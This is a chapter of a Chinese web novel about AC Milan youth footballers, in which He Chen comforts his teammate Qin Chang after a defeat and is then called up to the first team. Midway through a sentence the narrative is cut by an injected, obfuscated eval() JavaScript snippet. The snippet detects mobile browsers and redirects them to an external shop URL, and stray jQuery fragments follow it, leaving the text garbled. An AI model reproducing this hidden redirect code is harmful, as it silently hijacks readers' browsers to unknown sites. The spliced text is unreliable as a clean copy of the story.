假期结束，1月，米兰表现平平。
一线队0:1负于拉齐奥，意大利杯出局，联赛1:2萨索洛、0:1都灵、0:1亚特兰大三连败，外界对因扎吉的质疑甚嚣尘上。
失败激化了更衣室矛盾，部分球员拒绝执行因扎吉的战术，苏莱伊·蒙塔里被换下后爆摔水瓶，公开表达不满。此外，有球员的妻子在社媒质问因扎吉，为什么不让她们的丈夫上场。
在“挺因派”“倒因派”和“中立派”三足鼎立之时，有媒体爆料，26岁的西班牙左后卫卡洛斯·加西亚——加利亚尼高价引进的新援——卷入丑闻，无疑是往沸腾的油锅里加水。
但媒体最关注的还是管理层的斗争。
准确来说是加利亚尼与奥兰多·阿玛尼的博弈。
赛季初，新主席曾明确表示自己是外行，只提供资金，管理、引援、战术等由专业人士负责。
可他重组管理层的速度之快，手段之高明，让加利亚尼感到不安，生怕自己也遭到清洗。
而加利亚尼买入冈萨雷斯、租借托雷斯等转会操作，迟迟不与一些球员商议合同，给教练组上眼药，等等行为，也让奥兰多心生不满。
即便如此，新主席还是给了老经理足够的尊重。
他不常出现在镜头前，少有的几次采访，不是力挺因扎吉，就是力挺因扎吉的青年军，除此之外，再无其他。
秦昶跟贺辰说，这勉强算踩刹车吧。
贺辰说，你们至少有车，我们的车缺了个轱辘，抛锚了。
1月的第一场比赛，尤文图斯球员对克里斯蒂安暴力犯规，致使其十字韧带撕裂！这就是奔着摧毁克里斯蒂安的职业生涯去的！
而克里斯蒂安缺阵，米兰U19后防线失去指挥，贺辰不得不一手抓进攻，一手抓防守，工作量剧增。
他觉得自己像蜘蛛侠停电车，区别在蜘蛛侠能停住，而他心有余而力不足。
主教练布罗基也一言难尽。
之前战术靠贺辰，管理更衣室靠小马尔蒂尼，现在，连更衣室的活也落到贺辰头上了。“能力越大，责任越大”这句话，布罗基是真听进去了。
可让贺辰管更衣室不亚于让猴子牧羊。
贺辰能想到的唯一办法是谁闹事给谁两拳。他对自己的管理能力没自信，对散打还能没自信？他散打四段可不是花架子。
对此，苏醒春有话要说：“再不把辰辰提到一线队，他就要转职散打了。”
足球俱乐部爆改搏击俱乐部。
幸好U19的更衣室风平浪静。
不过，这对贺辰终归是一种消耗。
在维斯马拉，他照常训练，跟祖卡拉斗嘴，扮演普契尼等人的“知心哥哥”，看不出什么异常。可一回家甚至一上车，贺辰就变得很累，他不说话，经常盯着某处发呆，反应也慢半拍。
苏嘉平看在眼里，急在心里。
在苏醒春的建议下，她跟贺辰一起看了一部电影，《猫鼠游戏》。
效果还行，看电影的贺辰好歹打起了几分精神。
当剧情演绎到平安夜，无处可去的弗兰克给追捕自己的探长打电话，苏嘉平忍不住看贺辰的反应，贺辰的注意力却不在电影上，而在隔壁秦昶家。
“贺辰？”
贺辰回过神，有些担忧地说：“秦昶回来已经半个多小时了，中途也没出去过，怎么连灯都不开，一点动静都没有。”
他想起来今天是米兰和拉齐奥的客场比赛。往常他有时间会看比赛，没时间会看比赛结果和回放，这几天太忙了，差点把这事给忘了。
他查看比分，3:1，米兰是那个“1”。
而秦昶连场比赛表现平平，可想而知，外界会怎么议论他。
自从看望过比安科，贺辰总觉得，秦昶身上多了一个隐形的包袱。
再想想国家队教练“监视”球员生活，不远万里跑到意瑞交界处堵他。贺辰拒绝与荣知节有过多交谈，不知道他找秦昶有什么事，但荣知节花费时间、精力找秦昶，绝对不是为了知道他几点出门、几点回家、休息日喜欢做什么的。
糟糕的无法独立行走的大人。
“你和他的压力都很大。对你们的期望，已经超出你们这个年纪的孩子的承受范围了。”
贺辰有些惊讶。他和苏嘉平对上视线，飞快低下头，似乎苏女士的眼睛是什么美杜莎的诅咒，能把人变成石头。
苏女士今晚的表现太反常了。
她不会是在关心我吧？想到这里，贺辰不禁皱起眉毛，嘴角也耷拉下来。
苏嘉平误会了。
她问：“担心秦昶？”
“……那是他的事，我……”
“可关心他是你的事。”贺辰懵懵然，而苏嘉平抬起手，放到他的肩膀上，“贺辰，你和秦昶不是卡尔和弗兰克，你随时都可以给他打电话，不管是不是平安夜。”
“……苏女士？”
贺辰眨巴眨巴眼睛，完全没有接收到苏嘉平的暗示。他跟秦昶一直保持着稳定的通讯，而平安夜不是早就过去了么？突然说这个干什么？
苏嘉平轻轻拍了一下他的后脑勺。
这傻孩子怎么在人际交往方面这么不灵光？
她叹了口气，决定推贺辰一把。
她从冰箱里拿出海鲜饭，让他给秦昶送过去。这本来是她明天的午饭，不过，为了两个孩子，只能委屈自己的胃了。
秦昶家没有亮灯，黑漆漆的夜，黑漆漆的别墅，高高的围墙环抱住秦昶精心打理的花园，像坐落在森林深处的老巫婆的房子。
贺辰按门铃，无人应答。
发短信再按门铃，还是无人应答。
打电话，刚响一声就被挂断了，说明秦昶意识清醒，单纯是谁也不想见。
放在别人身上，这时候就识趣地走了，可贺辰的驴脾气上来了。
山不就我我就山，不让我进我偏进，我有的是不走正门的办法。
两家房子挨着，由一排半人高的栅栏隔开，贺辰轻巧地翻过去，落地时压折了一簇山茶。他毫无怜香惜玉之情，站起来，拎着饭盒走到秦昶家一楼的落地窗前。
透过窗户，贺辰看到里面漆黑又安静，秦昶坐在沙发上，一动不动，像一尊被遗忘的大理石雕像。
贺辰抬起手，屈起指节，轻轻叩了叩玻璃。
几秒钟后，一团白色绒球弹射过来。小白兴奋过头，差点撞上玻璃，原地转了两圈，尾巴摇成螺旋桨。
贺辰隔着玻璃朝它比划。
他指了指秦昶，又朝自己勾勾手指。小白歪着头想了想，竟然听懂了，跑到秦昶跟前，用湿漉漉的鼻子拱他的手掌。
秦昶从漫长的沉睡中苏醒过来，朝落地窗这边走去。可贺辰还没来得及开口，他就抓住窗帘，“唰”地切断了贺辰的视野。紧接着，屋子里响起脚步声，秦昶用百米冲刺的速度上了二楼。
贺辰愣住了，和玻璃里的自己对视。
忽然，窗帘下沿拱起一个小包，小白拼命从缝隙里钻出来，不顾屁股还在外面，两只前爪搭上门把手，焦急但徒劳地往下按。
它呜咽着，像孩子在哭。
贺辰蹲下来，手贴到玻璃上，小白就把鼻子凑过来，对着他的手掌拼命嗅，蒲公英般的绒毛一颤一颤的。
“小白，别怕，我上去找他。”贺辰轻声说，不知道是安慰小狗，还是给自己打气。
他绕到房子侧面，抓住排水管往上爬，费了九牛二虎之力，终于攀上二楼窗台外沿，整个人像壁虎一样贴在墙上。
屋里依旧乌漆麻黑，贺辰快要怀疑秦昶没钱交电费了。
他腾出一只手去撬窗框，指甲抠进缝隙，用力一扳，发出一声刺耳的摩擦。
秦昶推门进来，两个人隔着窗户对视。
“哈喽，秦昶，晚上好。”
贺辰大方打招呼，在他脸上，看不到一点干坏事被发现的心虚。
秦昶掩面叹息。
他问：“贺辰，你要干嘛？夜闯邻居家你要干嘛？！”
“你让我进去我再告诉你。”
秦昶盯着他看了两秒，伸手拉开窗栓。
窗户打开的瞬间，贺辰搭在窗沿上的手一滑，整个人猛地向前栽倒。世界天旋地转，他的额头撞上秦昶的肩膀，二人皆闷哼一声，重重摔在地上。
幸好有秦昶加地毯双重缓冲，贺辰不怎么疼。而秦昶仰面朝天花板，面无表情，满腹疑惑。
身体的疼是次要的，重点在贺辰夜闯民宅的目的是什么。
“秦昶，苏女士担心你一个人照顾不好自己，让我给你送点饭。”
秦昶心说少拿苏姨当挡箭牌，我又不是第一天一个人住了。
“饭呢？”他问。
贺辰回答不上来。
一旁的饭盒已经打开了，虾和蛤蜊散落一地，米粒黏在地毯上，房间里满是蒜蓉的香味。
秦昶心如死灰。
他抬起手臂，遮住眼睛，发出痛苦的声音：“贺辰，你到底要干嘛？”
他把贺辰赶走，收拾完地毯，被忽略的肚子发出抗议的声音，催促他吃晚饭。
他下楼，看见厨房亮着灯，贺辰端着碗走出来，让他别愣着了，赶紧过来吃饭。秦昶如幽灵般飘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919299|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来，又如炮弹般坠落，举着筷子，看着面前的面汤，像原始人看电视机。
直到贺辰给小白倒狗粮，他才找回他的声带：“不用，小白吃过了。”
贺辰揉揉萨摩耶的头，说：“嗯嗯，人能饿着，可千万不能饿着狗。你累成这样都不忘给小白喂饭，真是称职的狗主人呀。”
“……我不累。”秦昶觉得贺辰话里有话，斟酌再三，挑了一个最无害的反驳。
“那我累好吧？克里斯受伤了，布罗基也是个草包，我是前场忙完后场忙，场上忙完场下忙。你说，我怎么不受伤呢？”
“呸呸呸，不讲不讲。”
“我不讲，那你讲。”
“我？”秦昶先是一愣，然后泄了气，“一堆跟足球无关的破烂事，有什么好讲的。”
贺辰心想，确实，只说这场比赛，米兰的中场被拉齐奥打穿了。
虽然惨，但也在意料之中。
蒙托利沃受伤，德容停赛，指望洛伦佐和诺瓦克两个二十出头的小年轻，跟雇佣童工有什么区别。
还有秦昶，前中场来回跑，已经涉嫌虐待童工了。
秦昶狠狠一拍桌子，抱怨的话从嘴巴里滔滔不绝地涌出来。
“中场强度不够，厚度也没有，Pippo想复刻他在U19的战术根本行不通。
“哪是来踢球的，都搞起宫斗来了，首发、队长袖标、薪资合同，争这个争那个。管理层也不安生。我看也别与卡戴珊一家同行了，拍跟米兰一块儿去意乙吧。
“更衣室问题表现到场上，就是不出工不出力，压力队友压力教练——烦死了，都能不能好好踢球啊！真想给这些心思不在踢球上的人一人一拳！！”
他越说越生气，朝空气打了一套拳。
等他发泄完，贺辰说：“怎么样？好受些了么？”
愤怒退潮，卷走连日的苦闷。虽然往大海里扔垃圾不好，但秦昶确实轻松多了。
他点了点头。
贺辰也点了点头：“一切烦心事都是因为没吃饱、没睡好，你现在吃饱了，再睡一觉，等醒来，又是米兰城的罗慕路斯。”
听他这么一说，秦昶觉得胃口暖暖的，睡意也上来了。
虽然，睡觉不能使问题消失，但在梦中短暂停泊，既不影响航程，又能补充燃料。
假如有幸坠入梦境，奔跑在绿茵场上，身边是正常人队友，做完美的配合，踢漂亮的足球，进球，进一百万个球，再美好不过了。
秦昶能睡到第二天十点，贺辰不行，他必须哈欠连天地训练。
“你昨天晚上干什么去了？”祖卡拉问。
“我去拯救失足少年了。”
祖卡拉瞪大眼睛：“哪家酒吧敢对未成年开放？！”
“不是只有那一种失足少年好吧。”
远远看见布罗基走过来，贺辰下意识瘪嘴，很快收敛好情绪，等待主教练吩咐。
“贺，Pippo有事找你。”
贺辰嗖一声跑出去，没跑几步，倒退回来问布罗基：“Pippo在哪里？”
“会议室。”
贺辰跑没影了。
“跑得真快。”布罗基转向正在颠球的祖卡拉，问他，“我在他心里没留下痕迹吗？”
祖卡拉哼哼两声。
痕迹是有的，哪种类型就不好说了。而且你跟Pippo比什么，哪方面你都比不过。
抛开祖卡拉暗暗吐槽主教练不谈，贺辰兴高采烈，一路小跑到会议室外，先整理衣服加平复呼吸，准备妥当，才推门进来。
“Pippo，Pippo的妻子。”
因扎吉捂着嘴笑。
维埃里则没有想到，他只是在球员妻子讨伐因扎吉时，为多年好友说了几句话，就被冠上“Pippo妻子”的名号。
他更没想到，第一个调侃他的人居然是贺辰，一个只见过几面的乖孩子。
还是说这孩子是装乖？
“瘦了。”因扎吉打量过贺辰，吐出这个词的时候，不免有些心疼。
去年还活泼的孩子们，现在个个都有心事，而他泥狐狸过河，自身难保。
贺辰笑笑，不知道该说什么。
他这个月的强度比去年好几个月加起来都大，这么折腾一名15岁少年，哪怕他的身体是最硬的铁打的也吃不消。
他昨天上称，瘦了快四斤。
他想增重怎么就这么困难。
“还记得去年夏天我们之间的约定吗？”
贺辰眨眨眼睛，点点头。
“那好。收拾收拾东西，明天，来一线队报到。”